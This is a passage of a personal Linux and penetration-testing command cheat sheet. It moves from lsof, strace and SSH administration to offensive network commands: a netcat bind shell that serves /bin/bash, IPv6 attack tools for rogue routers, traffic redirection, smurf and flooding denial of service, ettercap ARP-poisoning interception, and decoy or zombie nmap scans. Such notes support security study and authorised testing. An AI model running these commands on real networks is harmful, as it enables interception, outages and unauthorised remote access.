  1068. lsof -i[TCP|UDP][@host][:port]
  1069.  
  1070.  
  1071. ##-====================================================-##
  1072. ##   [+] list all open files for specific processes:
  1073. ##-====================================================-##
  1074. lsof -p $PID
  1075. lsof -c $Command
  1076. lsof -c sendmail
  1077. lsof -u $Username
  1078.  
  1079. lsof +D /var/log/           ## List files in directory
  1080. lsof +d $Dir                ## include subdirectories
  1081.  
  1082.  
  1083.  
  1084.  
  1085.  
  1086. lsof -i tcp:ssh
  1087. lsof -iTCP:ssh
  1088. lsof -t -c sshd
  1089. lsof -a -i :22 -c /d$/
  1090.  
  1091. lsof -i tcp:22
  1092. lsof -i | grep openvpn
  1093. lsof -Pni | grep
  1094. lsof -i TCP:80
  1095.  
  1096. lsof -iTCP:ssh
  1097. lsof +M -iTCP:814 -iUDP:811
  1098. lsof -iTCP:ssh
  1099. lsof -a -c myprog -u tony
  1100.  
  1101.  
  1102. ## Output all processes that are in "LISTEN" mode
  1103.  
  1104. lsof -nPi | awk '/LISTEN/'
  1105.  
  1106.  
  1107. rpcinfo -p | egrep -w "port|81[14]"
  1108. lsof +M -iTCP:814 -iUDP:811
  1109. lsof -iTCP:ssh
  1110. lsof -a -c myprog -u tony
  1111. lsof ­i TCP ­i UDP
  1112.  
  1113.  
  1114. ps --ppid $$
  1115.  
  1116. $(pgrep -P $$)
  1117.  
  1118.  
  1119.  
  1120. [ "$(sysctl fs.suid_dumpable)" == "fs.suid_dumpable = 0" ] || state=1
  1121. [ "$(grep "fs.suid_dumpable" /etc/sysctl.conf /etc/sysctl.d/*.conf | sed -e 's/^.*://' -e 's/\s//g' | uniq)" == "fs.suid_dumpable=0" ] || state=1
  1122.  
  1123. [ "$(sysctl kernel.randomize_va_space)" == "kernel.randomize_va_space = 2" ] || state=1
  1124. [ "$(grep "kernel.randomize_va_space" /etc/sysctl.conf /etc/sysctl.d/*.conf | sed -e 's/^.*://' -e 's/\s//g' | uniq)" == "kernel.randomize_va_space=2" ] || state=1
  1125.  
  1126. [ $(grep "^\s+linux" /boot/grub2/grub.cfg | egrep 'selinux=0|enforcing=0' | wc -l) -eq 0 ] || state=1
  1127.  
  1128.  
  1129.  
  1130. ##-=====================================================-##
  1131. ##  [+] STrace -
  1132. ##-=====================================================-##
  1133. for foo in $(strace -e open lsof -i tcp 2>&1 | grep 'denied'| awk '{print $1}' | cut -d "/" -f3); do echo $foo $(cat /proc/$foo/cmdline)|awk '{if($2) print}'; done
  1134.  
  1135.  
  1136.  
  1137. lsof -p NNNN | awk '{print $9}' | grep '.so'
  1138.  
  1139. cat /proc/NNNN/maps | awk '{print $6}' | grep '.so' | sort | uniq
  1140.  
  1141.  
  1142. strace -e trace=open xtrabackup --prepare --target-dir=2014-11-27_06-06-49
  1143. while true; do lsof +D ./2014-11-27_06-06-49 ; sleep 0.1; done
  1144.  
  1145.  
  1146.  
  1147.  
  1148. pgrep -u root sshd
  1149.  
  1150.  
  1151.  
  1152. tcpkill host ip and port port               ## Block ip:port
  1153.  
  1154.  
  1155. tcpkill -i eth0 -9 port $Port
  1156.  
  1157. tcpkill -i eth0 -9 host $Host
  1158.  
  1159.  
  1160.  
  1161.  
  1162.  
  1163. kill -HUP `lsof -t /usr/sbin/ss`
  1164. kill $(lsof -t /home)
  1165.  
  1166.  
  1167.  
  1168. lsof -i tcp:ssh
  1169. lsof -i tcp:22
  1170. lsof -i | grep openvpn
  1171. lsof -Pni | grep
  1172. lsof -i TCP:80
  1173.  
  1174. lsof -iTCP:ssh
  1175. lsof +M -iTCP:814 -iUDP:811
  1176. lsof -iTCP:ssh
  1177. lsof -a -c myprog -u tony
  1178.  
  1179.  
  1180. echo "(+)=========================================(+)"
  1181. echo "   [+] list all files open on a NFS server     "
  1182. echo "(+)======================================= =(+)"
  1183. lsof -N
  1184.  
  1185.  
  1186. echo "(+)=============================================(+)"
  1187. echo "    [+] Listing Files Open by a Specific Login     "
  1188. echo "(+)=============================================(+)"
  1189. lsof -u $User
  1190.  
  1191.  
  1192. Ignoring a Specific Login
  1193. =============================
  1194.  
  1195. lsof ignore the files open to system processes, owned by the root (UID 0) login
  1196.  
  1197.  
  1198. lsof -u ^root
  1199.     or
  1200. lsof -u ^0
  1201.  
  1202.  
  1203. lsof | head -10         ## Provides the top ten files that are open
  1204.  
  1205. lsof | wc -l            ## Provides a count of the total number of open files on run
  1206.  
  1207. lsof -u root            ## Display open file statistics for that particular user
  1208.  
  1209.  
  1210.  
  1211. Listing Files Open to a Specific Process Group
  1212.  
  1213. lsof -g $GUID -adcwd                        ## Listing Files Open to a Specific Process Group
  1214.                         ## print process group (PGID) IDs.
  1215.  
  1216.  
  1217. lsof -iTCP:3000 -sTCP:LISTEN -n -P will yield the offender so this process can be killed.
  1218.  
  1219.  
  1220.  
  1221. function killport() {
  1222.   lsof -i tcp:$1 | awk '(NR!=1) && ($1!="Google") && ($1!="firefox") {print $2}' | xargs kill
  1223. }
  1224.  
  1225.  
  1226. for pid in $(lsof -i -t); do
  1227.     lsof -a -p $pid -d txt | awk '/txt/ {print $9}' | head -1;
  1228. done | sort -u | xargs ls -l
  1229.  
  1230.  
  1231. ##-========================================-##
  1232. ##   [+]
  1233. ##-========================================-##
  1234. while :; do kill -9 `lsof -t -i :47145`; done
  1235.  
  1236.  
  1237.  
  1238.  
  1239.  
  1240.  
  1241.  
  1242. ##-========================================-##
  1243. ##   [+]
  1244. ##-========================================-##
  1245. ssh-keygen -t rsa -b 4096 -C 'sysadm' -f ~/.ssh/duh
  1246.  
  1247.  
  1248.  
  1249. ##-========================================-##
  1250. ##   [+] Create a new host RSA keys
  1251. ##-========================================-##
  1252. ##   [?] do not use a pass-phrase -
  1253. ##   [?] else you wont be able to connect remotely after a reboot):
  1254.  
  1255. ssh-keygen -t rsa -b 4096 -f ssh_host_key -C '' -N ''
  1256.  
  1257.  
  1258. ##-===============================-##
  1259. ##   [+] Move them into place:
  1260. ##-===============================-##
  1261. mv ssh_host_key{,.pub} /etc/ssh
  1262.  
  1263.  
  1264.  
  1265. ##-========================================-##
  1266. ##   [+] Lock down file permissions:
  1267. ##-========================================-##
  1268. chown root:root /etc/ssh/ssh_host_key{,.pub}
  1269.  
  1270. curl -o /etc/ssh/sshd_config https://raw.githubusercontent.com/drduh/config/master/sshd_config
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277. Upload the disk image you have saved remotely over SSH to the new Linode. Replace `192.0.2.9` with the Linode's IP address and `/home/archive/linode.img` with the disk images's path.
  1278.  
  1279. dd if=~/$File.img | ssh root@192.0.2.9 "dd of=/dev/sda"
  1280.  
  1281.  
  1282.  
  1283. autossh -M 0 -f -q -N -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -i "$KEY" -L 3306:127.0.0.1:3306 $REVERSE_TUNNEL $SSH_USERNAME@$SERVERNAME
  1284.  
  1285.  
  1286.  
  1287.  
  1288. ##-====================================================-##
  1289. ##   [+]
  1290. ##-====================================================-##
  1291. arp-scan --interface=eth0 192.168.0.0/24
  1292.  
  1293.  
  1294. ## IP Network scanning
  1295.  
  1296.  
  1297. # ARP Scan
  1298. arp-scan 192.168.50.8/28 -I eth0
  1299.  
  1300.  
  1301.  
  1302.  
  1303. ### arping
  1304. -----------------------
  1305. send ARP request
  1306. -i interface -S SIP -s smac -W interval (sec) -c number of probes\
  1307. arping -i vlan123 -S 192.168.11.106 -s 54:b2:03:08:4e:d1 192.168.11.1 -W0.09 -c 10
  1308.  
  1309. send GARP (unsolicited ARP request)\
  1310. arping -U -i [iface] -S 1.2.3.4
  1311.  
  1312. bash for loop to iterate through many
  1313.  
  1314. for i in $(cat ip_addr.txt); do arping -U -i eth0 -S $1; done
  1315.  
  1316.  
  1317.  
  1318.  
  1319.  
  1320.  
  1321.  
  1322. ##-========================================-##
  1323. ##   [+]
  1324. ##-========================================-##
  1325. strace -f -ff -o $File
  1326.  
  1327.  
  1328. ##-====================================-##
  1329. ##   [+] trace network system calls:
  1330. ##-====================================-##
  1331. strace -e trace=network,read,write
  1332.  
  1333.  
  1334. ##-====================================-##
  1335. ##   [+] trace all Nginx processes
  1336. ##-====================================-##
  1337. strace -e trace=network -p `pidof nginx | sed -e 's/ /,/g'`
  1338.  
  1339.  
  1340.  
  1341.  
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347.  
  1348. ##-=======================-##
  1349. ##  [+] IPv6 Pentesting:
  1350. ##-=======================-##
  1351.  
  1352. MITM-Spoofed-ICMPv6-Neighbor-Advertisement
  1353. MITM-Spoofed-ICMPv6-Router-Advertisement
  1354. IPv6-Smurf-Attack
  1355. IPv6-Smurf-Attack-Details+Duplicate-Address-Detection
  1356. IPv6-Duplicate-Address-Detection
  1357.  
  1358. ##-======================================-##
  1359. ##  [+] IPv6 Domain Name Servers (DNS):
  1360. ##-======================================-##
  1361. host -t AAAA $Domain
  1362. dig -6 AAAA $Domain
  1363. dig -x $IPv6IP
  1364. nslookup -query=AAAA $Domain
  1365.  
  1366.  
  1367. ##-=========================-##
  1368. ##  [+] IPv6 IP Addresses:
  1369. ##-=========================-##
  1370. netstat -A inet6
  1371. ifconfig | grep inet6       ## Show IPv6 IP
  1372. ip -6 addr                  ## Show IPv6 IP
  1373.  
  1374.  
  1375. ##-=======================-##
  1376. ##  [+] IPv6 Traceroute:
  1377. ##-=======================-##
  1378. traceroute6 $Domain
  1379. path6 -v -u 72 -d $Domain       ## Traceroute EH-enabled
  1380. mtr -6 $Domain
  1381. tracepath6 $Domain
  1382.  
  1383.  
  1384. ##-=================================-##
  1385. ##  [+] IPv6 Neighbor Networking:
  1386. ##-=================================-##
  1387. ip -6 neigh show            ## Display neighbor cache
  1388. ip -6 neigh flush           ## Flush neighbor cache
  1389.  
  1390.  
  1391. ##-===================-##
  1392. ##  [+] IPv6 Routes:
  1393. ##-===================-##
  1394. ip -6 route
  1395. netstat -rnA inet6
  1396. route -A inet6
  1397.  
  1398.  
  1399.  
  1400. nmap -6 -sT $DOMAIN                     ## Nmap scan
  1401. nmap -6 -sT ::1                         ## localhost
  1402.  
  1403. scan6 -v -i eth0 -­d $DOMAIN/64          ## Domain scanning
  1404. scan6 -v -i eth0 -­d $IPv6ADDR/64            ## Address scanning
  1405.  
  1406. scan6 -i eth0 -L -e --print-type global ## Discover global & MAC addresses
  1407.  
  1408. scan6 -i eth0 --local-scan --rand-src-addr --verbose        ## Link-local & Global addresses :+1:
  1409.  
  1410.  
  1411.  
  1412. tcpdump -i eth0 -evv ip6 or proto ipv6
  1413.  
  1414. ip6tables -L -v --line-numbers
  1415.  
  1416.  
  1417. ##-===================-##
  1418. ##  [+] IPv6 NETCAT:
  1419. ##-===================-##
  1420. nc6 -lp 12345 -v -e "/bin/bash"     ## Listen
  1421. nc6 localhost 12345                 ## Connect
  1422.  
  1423.  
  1424. ssh -6 $User@$IPv6ADDR%eth0
  1425. telnet $IPv6ADDR $PORT
  1426.  
  1427.  
  1428.  
  1429. ##-================================================-##
  1430. ##   [+] The Hacker Choices IPv6 Attack Toolkit:
  1431. ##-================================================-##
  1432.  
  1433.  
  1434. ##-==========================================-##
  1435. ##   [+] -
  1436. ##-==========================================-##
  1437. ## ----------------------------------------------------------------- ##
  1438. ##   [?]
  1439. ## ----------------------------------------------------------------- ##
  1440.  
  1441. ##-===========================-##
  1442. ##   [+] Probing Neighbors
  1443. ##-===========================-##
  1444. netdiscover -i eth0         ## IPv4
  1445. ping6 ff02::1%eth0          ## IPv6
  1446.  
  1447.  
  1448. ##-==========================================-##
  1449. ##   [+] -
  1450. ##-==========================================-##
  1451. ## ----------------------------------------------------------------- ##
  1452. ##   [?]
  1453. ## ----------------------------------------------------------------- ##
  1454. na6 -i eth0 --accept-target $TargetIP --listen -E $MAC --solicited --override --verbose
  1455.  
  1456.  
  1457. ##-====================================================-##
  1458. ##   [+]
  1459. ##-====================================================-##
  1460.  
  1461. ping6 ff02::2%eth0          ## all routers address
  1462. ping6 ff02::1%eth0          ## all nodes address
  1463.  
  1464. ping6 ff02::1%eth0
  1465. ping6 -c 6 ff02::1%eth0
  1466. ping6 –c 4 fe80::c418:2ed0:aead:cbce%eth0
  1467.  
  1468.  
  1469. ##-==========================================-##
  1470. ##   [+] -
  1471. ##-==========================================-##
  1472. ## ----------------------------------------------------------------- ##
  1473. ##   [?]
  1474. ## ----------------------------------------------------------------- ##
  1475. inverse_lookup6 eth0 $MAC       ## Get IPv6 from a MAC addresses
  1476.  
  1477.  
  1478.  
  1479. ICMPv6 Router Discovery
  1480.  
  1481. atk6-redir6
  1482.  
  1483.  
  1484. ##-==========================================-##
  1485. ##   [+] -
  1486. ##-==========================================-##
  1487. ## ----------------------------------------------------------------- ##
  1488. ##   [?]
  1489. ## ----------------------------------------------------------------- ##
  1490.  
  1491.  
  1492. ##-==========================================-##
  1493. ##   [+] -
  1494. ##-==========================================-##
  1495. ## ----------------------------------------------------------------- ##
  1496. ##   [?]
  1497. ## ----------------------------------------------------------------- ##
  1498.  
  1499.  
  1500. ##-=============================================================-##
  1501. ##   [+] dnsdict6 - Enumerate a domain for DNS Record Entries
  1502. ##-=============================================================-##
  1503. ## --------------------------------------------------------------------- ##
  1504. ##   [?] ENUMERATE SRV SERVICE RECORDS
  1505. ##   [?] ENUMERATE IPV4 IPV6, NAME SERVER, MAIL SERVER WITH OPTIONS
  1506. ## --------------------------------------------------------------------- ##
  1507. atk6-dnsdict6 $Domain
  1508. atk6-dnsdict6 -d $Domain                ## NS and MX DNS domain information
  1509. atk6-dnsdict6 -S $Domain                ## perform SRV service name guessing
  1510. atk6-dnsdict6 -d46 -t 32 $Domain        ## number of threads
  1511.  
  1512.  
  1513.  
  1514.  
  1515. ##-====================================================-##
  1516. ##   [+] Performs reverse DNS enumeration given an IPv6 address.
  1517. ##-====================================================-##
  1518. atk6-dnsrevenum6
  1519. atk6-dnsrevenum6 $DNSServer $IPv6Addr/64
  1520.  
  1521.  
  1522. ##-====================================================-##
  1523. ##   [+] traceroute that uses ICMP6.
  1524. ##-====================================================-##
  1525. atk6-trace6
  1526. atk6-trace6 -d eth0 $TargetIP $Port
  1527.  
  1528.  
  1529. ##-=======================================================-##
  1530. ##   [+] Alive6 - Find activities on local network
  1531. ##-=======================================================-##
  1532. ## ------------------------------------------------------- ##
  1533. ##   [?] Detect ICMPv6 echo-reply on global addresses
  1534. ##   [?] Shows  alive addresses in the segment
  1535. ## ------------------------------------------------------- ##
  1536. atk6-alive6 eth0
  1537. atk6-alive6 eth0 -v
  1538. atk6-alive6 tun6to4
  1539.  
  1540. -V         enable debug output
  1541.   -d         DNS resolve alive IPv6 addresses
  1542.   -H         print hop count of received packets
  1543.  
  1544. -i $File
  1545.  
  1546. -Z $Mac     ## Use given destination MAC address
  1547.  
  1548.  
  1549.  
  1550. ##-=============================================================-##
  1551. ##   [+] detects new ipv6 addresses joining the local network
  1552. ##-=============================================================-##
  1553. atk6-detect-new-ip6 eth0
  1554.  
  1555. ##-==========================================-##
  1556. ##   [+] Announce yourself as a router
  1557. ##   [+] try to become the default router
  1558. ##-==========================================-##
  1559. atk6-fake_router6 eth0 1::/64
  1560. atk6-fake_router6 eth0 1::/64 $MTU $MAC
  1561.  
  1562.  
  1563. ##-=======================================================-##
  1564. ##   [+] Dumps all local routers and their information
  1565. ##-=======================================================-##
  1566. atk6-dump_router6 eth0
  1567.  
  1568.  
  1569. ##-===============================================-##
  1570. ##   [+] Advertise ipv6 address on the network
  1571. ##-===============================================-##
  1572. ## ------------------------------------------------------------------------------ ##
  1573. ##   [?] sending it to the all-nodes multicast address if no target specified.
  1574. ## ------------------------------------------------------------------------------ ##
  1575. atk6-fake_dhcps6 eth0 1::/64 $DNSServer
  1576.  
  1577.  
  1578. ##-=======================================================-##
  1579. ##   [+] Dumps all DHCPv6 servers and their information
  1580. ##-=======================================================-##
  1581. atk6-dump_dhcp6 eth0
  1582.  
  1583.  
  1584.  
  1585. ##-==========================================-##
  1586. ##   [+] parasite6 - ARP spoofer for IPv6
  1587. ##-==========================================-##
  1588. ## ----------------------------------------------------------------- ##
  1589. ##   [?] redirecting all local traffic to your own  system
  1590. ##   [?] by answering falsely to Neighbor Solicitation requests
  1591. ##   [?] specifying FAKE-MAC results in a local DOS.
  1592. ## ----------------------------------------------------------------- ##
  1593. atk6-parasite6 eth0 $FakeMAC
  1594. atk6-parasite6 -l eth0
  1595.  
  1596.  
  1597.  
  1598. ##-==========================================-##
  1599. ##   [+] frag6 -
  1600. ##-==========================================-##
  1601. ## ----------------------------------------------------------------- ##
  1602. ##   [?]
  1603. ## ----------------------------------------------------------------- ##
  1604. atk6-fragmentation6 -i eth0 --
  1605.  
  1606.  
  1607. ##-==========================================-##
  1608. ##   [+]  -
  1609. ##-==========================================-##
  1610. ## ----------------------------------------------------------------- ##
  1611. ##   [?] Listening for neighbor solitication passively
  1612. ## ----------------------------------------------------------------- ##
  1613. atk6-passive_discovery6 eth0
  1614.  
  1615.  
  1616.  
  1617.  
  1618.  
  1619. ##-=====================================================-##
  1620. ##   [+] atk6-smurf6 - ICMPv6 echo replies - Smurf attack
  1621. ##-==========================================-##
  1622. ## ----------------------------------------------------------------- ##
  1623. ##   [?] Target of echo request is the local all-nodes multicast address if not specified.
  1624. ## ----------------------------------------------------------------- ##
  1625. atk6-smurf6 eth0 $TargetIP multicast-network-address
  1626. atk6-smurf6 eth0 2001::1
  1627.  
  1628.  
  1629.  
  1630. ##-==========================================-##
  1631. ##   [+] firewall6 -
  1632. ##-==========================================-##
  1633. ## ----------------------------------------------------------------- ##
  1634. ##   [?]
  1635. ## ----------------------------------------------------------------- ##
  1636. atk6-firewall6 -H eth0 $TargetIP $DstPort
  1637.  
  1638.  
  1639.  
  1640. ##-==========================================-##
  1641. ##   [+]  -
  1642. ##-==========================================-##
  1643. ## ----------------------------------------------------------------- ##
  1644. ##   [?]
  1645. ## ----------------------------------------------------------------- ##
  1646. atk6-implementation6 eth0 $TargetIP
  1647. atk6-implementation6 eth0 2001::1
  1648.  
  1649.  
  1650. ##-==========================================-##
  1651. ##   [+]  -
  1652. ##-==========================================-##
  1653. ## ----------------------------------------------------------------- ##
  1654. ##   [?]
  1655. ## ----------------------------------------------------------------- ##
  1656. script6 get-bruteforce-aaaa $Domain
  1657. script6 get-as $IPv6Addr
  1658. script6 get-asn $IPv6Addr
  1659. cat $File.txt | script6 get-aaaa
  1660.  
  1661.  
  1662.  
  1663. ##-========================================================-##
  1664. ##   [+] Obtain the Origin Autonomous System (AS) number
  1665. ##       for the IPv6 address 2001:db8::1.
  1666. ##-========================================================-##
  1667. script6 get-asn 2001:db8::1
  1668.  
  1669.  
  1670. ##-====================================================================-##
  1671. ##   [+] Obtain information about the Origin Autonomous System (AS)
  1672. ##       of the IPv6 address 2001:db8::1.
  1673. ##-====================================================================-##
  1674. script6 get-as 2001:db8::1
  1675.  
  1676.  
  1677. ##-====================================================================================-##
  1678. ##   [+] Map the domain names contained in the file "domains.txt" into AAAA records,
  1679. ##   [+] save the results in the file "domains-aaaa.txt".
  1680. ##-====================================================================================-##
  1681. cat domains.txt | script6 get-aaaa > domains-aaaa.txt
  1682.  
  1683.  
  1684. ##-=======================================================================-##
  1685. ##   [+] Find IPv6 blackholes in the path to each of the IPv6 addresses
  1686. ##       contained in the file "domains-aaaa.txt"
  1687. ##   [+] save the results to the file "trace-results.txt".
  1688. ##-=======================================================================-##
  1689. cat domains-aaaa.txt | script6 trace do8 tcp port 25 > trace-results.txt
  1690.  
  1691.  
  1692. ##-========================================================================================-##
  1693. ##   [+] Produce statistics based on the trace results from the file "trace-results.txt"
  1694. ##-========================================================================================-##
  1695. cat trace-results.txt | script6 get-trace-stats
  1696.  
  1697.  
  1698.  
  1699. ##-==========================================-##
  1700. ##   [+]  -
  1701. ##-==========================================-##
  1702. ## ----------------------------------------------------------------- ##
  1703. ##   [?]
  1704. ## ----------------------------------------------------------------- ##
  1705. atk6-flood_router6 eth0
  1706.  
  1707.  
  1708. ##-==========================================-##
  1709. ##   [+]  -
  1710. ##-==========================================-##
  1711. ## ----------------------------------------------------------------- ##
  1712. ##   [?]
  1713. ## ----------------------------------------------------------------- ##
  1714. atk6-flood_advertise6
  1715.  
  1716.  
  1717. ##-==========================================-##
  1718. ##   [+]  -
  1719. ##-==========================================-##
  1720. ## ----------------------------------------------------------------- ##
  1721. ##   [?]
  1722. ## ----------------------------------------------------------------- ##
  1723. atk6-dos-new-ip6 eth0
  1724.  
  1725.  
  1726. ##-==========================================-##
  1727. ##   [+]  -
  1728. ##-==========================================-##
  1729. ## ----------------------------------------------------------------- ##
  1730. ##   [?]
  1731. ## ----------------------------------------------------------------- ##
  1732.  
  1733.  
  1734.  
  1735. ##-==========================================-##
  1736. ##   [+]  -
  1737. ##-==========================================-##
  1738. ## ----------------------------------------------------------------- ##
  1739. ##   [?]
  1740. ## ----------------------------------------------------------------- ##
  1741. flow6 -i eth0 -v --flow-label-policy -d IPv6ADDR
  1742.  
  1743. ##-==========================================-##
  1744. ##   [+]  -
  1745. ##-==========================================-##
  1746. ## ----------------------------------------------------------------- ##
  1747. ##   [?]
  1748. ## ----------------------------------------------------------------- ##
  1749.  
  1750.  
  1751.  
  1752. ##-==========================================-##
  1753. ##   [+] trace6 - very fast traceroute6
  1754. ##-==========================================-##
  1755. atk6-trace6 eth0 $TargetIP $Port
  1756.  
  1757.  
  1758.  
  1759. ##-=====================-##
  1760. ##   [+] kill_router6
  1761. ##-=====================-##
  1762. ## ------------------------------------------------------ ##
  1763. ##   [?] Announce that target router is going down
  1764. ##   [?] to delete it from the routing tables.
  1765. ## ------------------------------------------------------ ##
  1766. ##   [?] If you supply a '*' as target-ip,
  1767. ##   [?] kill_router6 will sniff the network for RAs
  1768. ##   [?] and immediately send the kill packet.
  1769. ## ------------------------------------------------------ ##
  1770. atk6-kill_router6 eth0 $TargetIP
  1771.  
  1772.  
  1773.  
  1774.  
  1775.  
  1776. ## ------------------------------------------------------------------------------ ##
  1777. ##   [?] find zombie ip in network to use them to scan:
  1778. ## ------------------------------------------------------------------------------ ##
  1779. use auxiliary/scanner/ip/ipidseq
  1780. nmap -sI ip target
  1781.  
  1782.  
  1783.  
  1784. ##-======================================-##
  1785. ##   [+]
  1786. ##-======================================-##
  1787. nmap --spoof-mac- Cisco --data-length 24 –T paranoid –max-hostgroup
  1788. 1 – max-parallelism 10 -PN -f –D 10.1.20.5,RND:5,ME --v –n –sS
  1789. –sV–oA /desktop/pentest/nmap/out –p T:1-1024
  1790. –random-hosts 10.1.1.10 10.1.1.15
  1791.  
  1792.  
  1793.  
  1794.  
  1795. ##-======================================-##
  1796. ##   [+] Split in chinks of 10 minutes:
  1797. ##-======================================-##
  1798. editcap -i 600 -A "2013-10-21 13:00:00" -B "2013-10-21 15:00:00" capture.pcapng part.pc
  1799.  
  1800.  
  1801. ##-==========================================-##
  1802. ##   [+] Splitting a file into time chunks
  1803. ##-==========================================-##
  1804. editcap -i <secondes per file> <infile> <outfile>
  1805.  
  1806.  
  1807.  
  1808.  
  1809. ##-======================================-##
  1810. ##   [+]
  1811. ##-======================================-##
  1812. mergecap $File.pcap $File.pcap $File.pcap -w $File.pcap
  1813.  
  1814.  
  1815. pcapfix
  1816.  
  1817. pcappick
  1818.  
  1819. rawshark
  1820.  
  1821. tcpslice
  1822.  
  1823. pcapip
  1824. tcpreplay
  1825.  
  1826.  
  1827.  
  1828.  
  1829. ##-======================================-##
  1830. ##   [+]
  1831. ##-======================================-##
  1832. nast -m -i eth0
  1833.  
  1834.  
  1835. ##-=================================================-##
  1836. ##   [+] Read PCAP File - Extract 80 & 443 Packets
  1837. ##-=================================================-##
  1838. tcpflow -c -e -r $File.pcap 'tcp and port (80 or 443)'
  1839. tcpflow -r $File.pcap tcp and port \(80 or 443\)
  1840.  
  1841.  
  1842. ##-================================================-##
  1843. ##   [+] Record on eth0 - Extract Port 80 Packets
  1844. ##-================================================-##
  1845. tcpflow -p -c -i eth0 port 80
  1846.  
  1847.  
  1848. ##-================================================-##
  1849. ##   [+] Capture Port 80 With Snap Length: 96
  1850. ##-================================================-##
  1851. tcpflow -i eth0 -b 96 -e -c port 80
  1852.  
  1853.  
  1854. ##-================================================-##
  1855. ##   [+] tcp/ip session reassembler:
  1856. ##-================================================-##
  1857. tcpflow -i eth0 -e -c 'port 25'
  1858.  
  1859.  
  1860. ##-================================================-##
  1861. ##   [+] Process PCAP Files in Current Directory
  1862. ##-================================================-##
  1863. tcpflow -o $File -a -l *.pcap
  1864.  
  1865.  
  1866. ##-===================================================-##
  1867. ##   [+] Record All Packets Going To & From $Domain
  1868. ##   [+] Extract All of The HTTP Attachments:
  1869. ##-===================================================-##
  1870. tcpflow -e scan_http -o $Dir host $Domain
  1871.  
  1872.  
  1873. ##-=================================================================-##
  1874. ##    [+] record traffic between helios and either hot or ace
  1875. ##    [+] bin the results into 1000 files per directory
  1876. ##    [+] calculate the MD5 of each flow:
  1877. ##-=================================================================-##
  1878. tcpflow -X $File.xml -e scan_md5 -o $Dir -Fk host helios and \( hot or ace \)
  1879.  
  1880.  
  1881. ##-===============================-##
  1882. ##   [+] Monitor all TCP ports:
  1883. ##-===============================-##
  1884. urlsnarf -i eth0 tcp
  1885.  
  1886.  
  1887. ##-================================================-##
  1888. ##   [+] Generate a target list from IP netmask
  1889. ##-================================================-##
  1890. Fping -a -g 192.168.7.0/24
  1891.  
  1892.  
  1893.  
  1894.  
  1895. ifpps eth0
  1896. ifpps --promisc --dev eth0
  1897. ifpps --loop -p --csv -d wlan0 > $File.dat
  1898.  
  1899.  
  1900.  
  1901.  
  1902. ## ------------------------------ ##
  1903. ##    [?] Extract PCAP Data:
  1904. ## ------------------------------ ##
  1905. capinfos $File.pcap
  1906. tcpslice -r $File.pcap
  1907. tcpstat $File.pcap
  1908. iftop -i $File.pcap
  1909.  
  1910. tcpprof -S lipn -P 30000 -r $File.pcap
  1911. tcpflow -r $File.pcap
  1912. tcpxtract -f $File.pcap -o $Dir/
  1913. tcpick -a -C -r $File.pcap
  1914. tcpcapinfo $File.pcap
  1915. ngrep -I $File.pcap
  1916. nfdump -r $File.pcap
  1917. chaosreader -ve $File.pcap
  1918. tshark -r $File.pcap
  1919. tcpdump -r $File.pcap
  1920. tcpreplay -M10 -i eth0 $File.pcap
  1921. bro -r $File.pcap
  1922. snort -r $File.pcap
  1923.  
  1924. capstats
  1925. flowscan
  1926. netflow
  1927. flowgrind
  1928. iproute2
  1929.  
  1930.  
  1931. flowtop --show-src
  1932. nfdump -r /and/dir/nfcapd.201107110845 -c 100 'proto tcp and ( src ip 172.16.17.18 or dst  ip  172.16.17.19  )'
  1933. nfdump -r $File 'net 8.8.8.8/32'
  1934. nfdump -r $File 'net $IP/$Subnet'
  1935.  
  1936.  
  1937.  
  1938.  
  1939. nfdump -R nfcapd.201506230459:nfcapd.201506230634 -a 'src or dst net 49.213.52.133/32'
  1940.  
  1941.  
  1942. ##-======================================-##
  1943. ##   [+]
  1944. ##-======================================-##
  1945. ettercap -T -M arp -V [hex,ascii] /x.x.x.x/ /x.x.x.x/
  1946. ettercap -T -P repoision_arp -M arp:remote /10.10.102.50/ /10.10.102.5/
  1947.  
  1948. ettercap -Tq -M arp:remote -P remote_browser (-P repoison arp) /10.10.102.100/ /10.10.102.4,5/
  1949.  
  1950. ##-======================================-##
  1951. ##   [+] Mitm Ipv6 report parasite6
  1952.  
  1953. ettercap -Tq -w fichero -M ndp:oneway //fe80:xxxxx? //fe80:xxxxx/
  1954.  
  1955. fake_router6 eth0 1::/64
  1956.  
  1957. etterfilter filtro.filter -i filtro.ef
  1958. ettercap -Tq -F ./filtro.ef -M arp_remote -P repoision_arp /10.10.102.60/ 10/10/10
  1959.  
  1960.  
  1961.  
  1962.  
  1963.  
  1964. ##-======================================-##
  1965. ##   [+] Display The Connection Status:
  1966. ##-======================================-##
  1967. tcpick -i eth0 -C
  1968.  
  1969.  
  1970. ##-================================================-##
  1971. ##   [+] Display The Payload and Packet Headers:
  1972. ##-================================================-##
  1973. tcpick -i eth0 -C -yP -h -a
  1974.  
  1975.  
  1976. ##-===============================================================-##
  1977. ##   [+] Display Client Data Only
  1978. ##   [+] Just For The First SMTP Connection:
  1979. ##-===============================================================-##
  1980. tcpick -i eth0 -C -bCU -T1 "port 25"
  1981. tcpick -r $File.pcap -C -yP -h 'port (25 or 587)'
  1982.  
  1983.  
  1984. tcpick -r $File.pcap -C -h -yP -e 15 "port ( 21 or 20 )"
  1985.  
  1986. tcpick -r $File.pcap -C -h -wR -e 10 "port 25"
  1987.  
  1988. ##-====================================-##
  1989. ##   [+] Download A File Passively:
  1990. ##-====================================-##
  1991. tcpick -i eth0 -wR "port ftp-data"
  1992.  
  1993.  
  1994. ##-==============================================-##
  1995. ##   [+] Log HTTP Data in Unique Files
  1996. ##-==============================================-##
  1997. ## ---------------------------------------------- ##
  1998. ##   [?] (client and server mixed together):
  1999. ## ---------------------------------------------- ##
  2000. tcpick -i eth0 "port 80" -wRub
  2001.  
  2002.  
  2003. ##-========================================-##
  2004. ##   [+] Pipe The First Connection To NC:
  2005. ##-========================================-##
  2006. tcpick -i eth0 --pipe client "port 80" | gzip > $File.gz
  2007. tcpick -i eth0 --pipe server "port 25" | nc $Domain.net 25
  2008.  
  2009.  
  2010. tcpick -v5      ## Verbose Level 5
  2011.  
  2012. tcpick -yP      ## Shows data contained in the tcp packets.
  2013.  
  2014. tcpick -yX      ## Shows all data after the header
  2015.                 ## in hexadecimal and ascii dump with 16 bytes per line.
  2016.  
  2017.  
  2018.  
  2019. tcpick -v5 --readfile $File.pcap
  2020.  
  2021.  
  2022.  
  2023. ##-=====================================-##
  2024. ##   [+] Analyse packets in real-time
  2025. ##-=====================================-##
